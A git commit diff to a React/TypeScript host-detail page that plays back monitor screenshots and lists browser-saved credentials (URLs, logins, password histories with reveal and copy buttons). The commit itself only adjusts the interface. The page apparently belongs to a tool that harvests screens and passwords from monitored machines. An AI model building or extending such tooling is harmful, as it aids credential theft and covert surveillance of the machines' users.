图片加载提示,info半透明
This commit is contained in:
+106
-75
@@ -50,7 +50,9 @@ interface Password {
|
||||
}
|
||||
|
||||
interface Credential {
|
||||
_id: string;
|
||||
// 后端有的可能返回 _id,有的可能返回 id,这里都兼容
|
||||
_id?: string;
|
||||
id?: string;
|
||||
hostname: string;
|
||||
username: string;
|
||||
browser: string;
|
||||
@@ -127,6 +129,7 @@ export default function HostDetail() {
|
||||
const [autoPlaySpeed, setAutoPlaySpeed] = useState(100);
|
||||
const [imagesLoadedCount, setImagesLoadedCount] = useState(0);
|
||||
const [imageAspectRatio, setImageAspectRatio] = useState(16 / 9);
|
||||
const [loadingImageIds, setLoadingImageIds] = useState<Set<string>>(new Set());
|
||||
const autoPlayTimer = useRef<NodeJS.Timeout | null>(null);
|
||||
const wheelDeltaAccumulator = useRef(0);
|
||||
|
||||
@@ -590,6 +593,19 @@ export default function HostDetail() {
|
||||
if (imgEl.naturalHeight !== 0) {
|
||||
setImageAspectRatio(imgEl.naturalWidth / imgEl.naturalHeight);
|
||||
}
|
||||
setLoadingImageIds(prev => {
|
||||
const next = new Set(prev);
|
||||
next.delete(fileId);
|
||||
return next;
|
||||
});
|
||||
};
|
||||
|
||||
const onImageError = (fileId: string) => {
|
||||
setLoadingImageIds(prev => {
|
||||
const next = new Set(prev);
|
||||
next.delete(fileId);
|
||||
return next;
|
||||
});
|
||||
};
|
||||
|
||||
// 键盘快捷键处理
|
||||
@@ -709,6 +725,14 @@ export default function HostDetail() {
|
||||
}
|
||||
}, [selectedRecord, records, autoPlay, startAutoPlayTimer]);
|
||||
|
||||
useEffect(() => {
|
||||
if (selectedRecord) {
|
||||
setLoadingImageIds(new Set(selectedRecord.screenshots.map(s => s.fileId)));
|
||||
} else {
|
||||
setLoadingImageIds(new Set());
|
||||
}
|
||||
}, [selectedRecord]);
|
||||
|
||||
useEffect(() => {
|
||||
if (autoPlay) {
|
||||
stopAutoPlayTimer();
|
||||
@@ -879,11 +903,17 @@ export default function HostDetail() {
|
||||
alt={screenshot.monitorName}
|
||||
className="absolute top-0 left-0 w-full h-full object-contain shadow-sm hover:shadow-md transition-shadow"
|
||||
onLoad={(e) => onImageLoad(e, screenshot.fileId)}
|
||||
onError={() => onImageError(screenshot.fileId)}
|
||||
/>
|
||||
{loadingImageIds.has(screenshot.fileId) && (
|
||||
<div className="absolute top-2 right-2 bg-black/40 rounded-full p-2">
|
||||
<Loader2 className="h-5 w-5 text-white animate-spin" />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* 图片说明 */}
|
||||
<div className="absolute bottom-4 left-4 bg-black dark:bg-gray-900 bg-opacity-60 dark:bg-opacity-80 text-white px-2 py-1 rounded">
|
||||
<div className="absolute bottom-4 left-4 bg-black/40 dark:bg-gray-900/40 text-white px-2 py-1 rounded">
|
||||
<div className="text-sm">{screenshot.monitorName}</div>
|
||||
<div className="text-xs">
|
||||
{new Date(selectedRecord.timestamp).toLocaleString()}
|
||||
@@ -1203,84 +1233,85 @@ export default function HostDetail() {
|
||||
{/* 浏览器凭据列表 */}
|
||||
{expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) && (
|
||||
<div className="pl-6 space-y-3 mt-2">
|
||||
{browser.credentials.map((cred) => (
|
||||
<div
|
||||
key={`${userGroup.username}-${browser.name}-${cred._id}`}
|
||||
className="border border-gray-200 dark:border-gray-600 rounded-md overflow-hidden"
|
||||
>
|
||||
{/* 凭据网站头部 */}
|
||||
{browser.credentials.map((cred) => {
|
||||
// 统一计算凭据唯一 ID(兼容 _id / id),若都不存在,用组合键兜底
|
||||
const credentialId = cred._id || cred.id || `${userGroup.username}-${browser.name}-${cred.url}-${cred.login}`;
|
||||
const isExpanded = expandedCredentials.includes(credentialId);
|
||||
return (
|
||||
<div
|
||||
className="bg-gray-50 dark:bg-gray-700 px-3 py-2 flex items-center justify-between cursor-pointer"
|
||||
onClick={() => toggleCredentialExpanded(cred._id)}
|
||||
key={credentialId}
|
||||
className="border border-gray-200 dark:border-gray-600 rounded-md overflow-hidden"
|
||||
>
|
||||
<div className="flex items-center">
|
||||
<Link className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
|
||||
<div className="text-sm font-medium text-gray-900 dark:text-white truncate max-w-md">
|
||||
{cred.url}
|
||||
{/* 凭据网站头部 */}
|
||||
<div
|
||||
className="bg-gray-50 dark:bg-gray-700 px-3 py-2 flex items-center justify-between cursor-pointer"
|
||||
onClick={() => toggleCredentialExpanded(credentialId)}
|
||||
>
|
||||
<div className="flex items-center">
|
||||
<Link className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
|
||||
<div className="text-sm font-medium text-gray-900 dark:text-white truncate max-w-md">
|
||||
{cred.url}
|
||||
</div>
|
||||
</div>
|
||||
<ChevronDown
|
||||
className={`h-4 w-4 text-gray-500 dark:text-gray-400 transition-transform duration-200 ${isExpanded ? 'rotate-180' : ''}`}
|
||||
/>
|
||||
</div>
|
||||
<ChevronDown
|
||||
className={`h-4 w-4 text-gray-500 dark:text-gray-400 transition-transform duration-200 ${expandedCredentials.includes(cred._id) ? 'rotate-180' : ''
|
||||
}`}
|
||||
/>
|
||||
|
||||
{/* 凭据详情 */}
|
||||
{isExpanded && (
|
||||
<div className="bg-white dark:bg-gray-800 px-3 py-2">
|
||||
<div className="grid grid-cols-1 gap-2 sm:grid-cols-2">
|
||||
<div className="flex items-center">
|
||||
<span className="text-sm text-gray-500 dark:text-gray-400 w-16">用户名:</span>
|
||||
<span className="text-sm font-medium ml-2 text-gray-900 dark:text-white">{cred.login}</span>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center mb-1">
|
||||
<span className="text-sm text-gray-500 dark:text-gray-400 w-16">密码历史:</span>
|
||||
<span className="text-xs bg-gray-100 dark:bg-gray-600 text-gray-600 dark:text-gray-300 rounded px-1">
|
||||
{cred.passwords.length} 条记录
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div className="pl-6 space-y-2 mt-1">
|
||||
{cred.passwords.map((pwd, pwdIndex) => {
|
||||
const pwdKey = `${credentialId}-${pwdIndex}`;
|
||||
const revealed = revealedPasswords.includes(pwdKey);
|
||||
return (
|
||||
<div
|
||||
key={pwdIndex}
|
||||
className="flex items-center group relative"
|
||||
>
|
||||
<span className="text-xs text-gray-400 dark:text-gray-500 w-24 flex-shrink-0">
|
||||
{formatDate(pwd.timestamp, 'short')}
|
||||
</span>
|
||||
<div className="flex-1 flex items-center">
|
||||
<span
|
||||
className="text-sm font-mono bg-gray-50 dark:bg-gray-700 text-gray-900 dark:text-white px-2 py-0.5 rounded flex-1 cursor-pointer"
|
||||
onClick={() => revealed ? null : revealPassword(pwdKey)}
|
||||
>
|
||||
{revealed ? pwd.value : '••••••••'}
|
||||
</span>
|
||||
<button
|
||||
onClick={() => copyToClipboard(pwd.value)}
|
||||
className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 dark:text-gray-500 hover:text-gray-700 dark:hover:text-gray-300"
|
||||
>
|
||||
<Clipboard className="h-4 w-4" />
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* 凭据详情 */}
|
||||
{expandedCredentials.includes(cred._id) && (
|
||||
<div className="bg-white dark:bg-gray-800 px-3 py-2">
|
||||
<div className="grid grid-cols-1 gap-2 sm:grid-cols-2">
|
||||
<div className="flex items-center">
|
||||
<span className="text-sm text-gray-500 dark:text-gray-400 w-16">用户名:</span>
|
||||
<span className="text-sm font-medium ml-2 text-gray-900 dark:text-white">{cred.login}</span>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center mb-1">
|
||||
<span className="text-sm text-gray-500 dark:text-gray-400 w-16">密码历史:</span>
|
||||
<span className="text-xs bg-gray-100 dark:bg-gray-600 text-gray-600 dark:text-gray-300 rounded px-1">
|
||||
{cred.passwords.length} 条记录
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div className="pl-6 space-y-2 mt-1">
|
||||
{cred.passwords.map((pwd, pwdIndex) => (
|
||||
<div
|
||||
key={pwdIndex}
|
||||
className="flex items-center group relative"
|
||||
>
|
||||
<span className="text-xs text-gray-400 dark:text-gray-500 w-24 flex-shrink-0">
|
||||
{formatDate(pwd.timestamp, 'short')}
|
||||
</span>
|
||||
<div className="flex-1 flex items-center">
|
||||
<span
|
||||
className="text-sm font-mono bg-gray-50 dark:bg-gray-700 text-gray-900 dark:text-white px-2 py-0.5 rounded flex-1 cursor-pointer"
|
||||
onClick={() =>
|
||||
revealedPasswords.includes(`${cred._id}-${pwdIndex}`)
|
||||
? null
|
||||
: revealPassword(`${cred._id}-${pwdIndex}`)
|
||||
}
|
||||
>
|
||||
{revealedPasswords.includes(`${cred._id}-${pwdIndex}`)
|
||||
? pwd.value
|
||||
: '••••••••'
|
||||
}
|
||||
</span>
|
||||
<button
|
||||
onClick={() => copyToClipboard(pwd.value)}
|
||||
className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 dark:text-gray-500 hover:text-gray-700 dark:hover:text-gray-300"
|
||||
>
|
||||
<Clipboard className="h-4 w-4" />
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
Reference in New Issue
Block a user